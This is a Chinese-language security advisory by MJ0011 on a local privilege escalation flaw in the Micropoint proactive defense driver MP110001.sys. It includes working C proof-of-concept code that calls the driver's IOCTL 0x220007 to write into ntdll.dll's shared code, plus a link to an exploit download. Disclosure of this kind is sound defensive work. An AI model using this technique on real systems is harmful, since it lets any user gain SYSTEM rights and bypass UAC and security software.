微点主动防御(version20081008)及以下本地权限提升漏洞(user权限下绕过UAC、主动防御)

作者:MJ0011

微点主动防御是一款号称使用行为分析技术实时保护的主动防御软件。

其核心驱动MP110001.SYS最新版本存在本地权限提升漏洞,可导致任何权限的用户在本地提升权限到SYSTEM权限,绕过UAC等保护。同时也可以利用此漏洞注入到任何受保护进程,从而穿透防火墙、主动防御软件。

出问题的组件:MP110001.sys,版本号:1.2.10006 CheckSum = 0x00009F60 TimeStamp = 0x43620505

该驱动提供了一个接口,允许RING3程序将一块数据COPY到地址0-0x80000000的任意 地址,在写入时会将寄存器CR0的第16位置0,此时CPU的页保护机制就会失效,WINDOWS NT 的CopyOnWrite机制也将失效,RING3程序可以将内存写入到系统模块,例如kernel32.dll, user32.dll的地址,改写它们的代码,此时对系统DLL代码的改写会在所有进程体内同时生效.

通过这一接口,任何权限的RING3程序就可以HOOK或旁路系统任何进程的函数调用,从而进行权限提升,如果HOOK进主动防御、防火墙等的进程体内,则可绕过主动防御软件的保护。

测试代码:
HANDLE hdev = CreateFile(“\\\\.\\MP110001” ,
FILE_READ_ATTRIBUTES ,
FILE_SHARE_READ |FILE_SHARE_WRITE ,
0,
OPEN_EXISTING ,
0,
0);

if (hdev == INVALID_HANDLE_VALUE)
{

CHAR xx[100];
sprintf(xx , “create err = %u\n” , GetLastError());
MessageBox(xx, 0 , 0 );
return ;
}

CHAR xx[] = “hello mp!”;

HMODULE p = GetModuleHandle(“ntdll.dll”);

ULONG btr ;

BOOL bret = DeviceIoControl(hdev ,
0x220007,
(PVOID)((ULONG)p + 2 ),
strlen(xx)+1 ,
xx,
0,
&btr ,
0
);

CloseHandle(hdev);

测试代码会向NTDLL.DLL的DOS头第二个字节开始写入一个字符串“hello mp”,此修改将在系统任何进程体内生效,可使用OD、WINDBG,WINHEX等工具查看

测试程序下载:http://mj0011.ys168.com 漏洞演示目录下LOCALexp_MP.rar

相关日志

发表评论